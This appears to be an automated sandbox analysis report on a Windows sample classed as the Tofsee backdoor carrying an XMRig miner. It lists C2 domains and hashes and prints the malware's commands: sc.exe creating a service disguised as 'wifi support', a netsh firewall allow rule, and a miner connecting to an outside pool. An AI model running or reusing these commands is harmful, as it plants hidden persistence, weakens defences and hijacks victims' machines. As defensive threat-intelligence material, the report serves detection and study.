Analysis

  • max time kernel
    151s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-en-20211104
  • submitted
    05/11/2021, 10:23

General

  • Target
    33e6609db7b2f9c606acb158b79bd795.exe
  • Size 338KB
  • Sample211105-meszeabda3
  • SHA256 b8bc5b89e9a8d80cb70f83dfae264e47fcef7bc5f1840a5b68b496ef62a2cbfa
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • tofsee

C2
  • quadoil.ru

  • lakeflex.ru

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\33e6609db7b2f9c606acb158b79bd795.exe
    "C:\Users\Admin\AppData\Local\Temp\33e6609db7b2f9c606acb158b79bd795.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:844
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\udsgpqnq\
      2⤵
        PID:1472
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\tmxnyvoh.exe" C:\Windows\SysWOW64\udsgpqnq\
        2⤵
          PID:2028
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create udsgpqnq binPath= "C:\Windows\SysWOW64\udsgpqnq\tmxnyvoh.exe /d\"C:\Users\Admin\AppData\Local\Temp\33e6609db7b2f9c606acb158b79bd795.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1004
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description udsgpqnq "wifi internet conection"
            2⤵
              PID:1640
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start udsgpqnq
              2⤵
                PID:1196
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1540
              • C:\Windows\SysWOW64\udsgpqnq\tmxnyvoh.exe
                C:\Windows\SysWOW64\udsgpqnq\tmxnyvoh.exe /d"C:\Users\Admin\AppData\Local\Temp\33e6609db7b2f9c606acb158b79bd795.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1376
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1036
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1696

              Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    memory/844-58-0x0000000000220000-0x0000000000233000-memory.dmp

                    memory/844-59-0x0000000000400000-0x00000000008F8000-memory.dmp

                    memory/844-55-0x0000000000ADD000-0x0000000000AEE000-memory.dmp

                    memory/844-56-0x0000000076A21000-0x0000000076A23000-memory.dmp

                    memory/1036-71-0x0000000000080000-0x0000000000095000-memory.dmp

                    memory/1036-70-0x0000000000080000-0x0000000000095000-memory.dmp

                    memory/1376-74-0x0000000000400000-0x00000000008F8000-memory.dmp

                    memory/1376-68-0x00000000009BD000-0x00000000009CD000-memory.dmp

                    memory/1696-75-0x0000000000230000-0x0000000000321000-memory.dmp

                    memory/1696-76-0x0000000000230000-0x0000000000321000-memory.dmp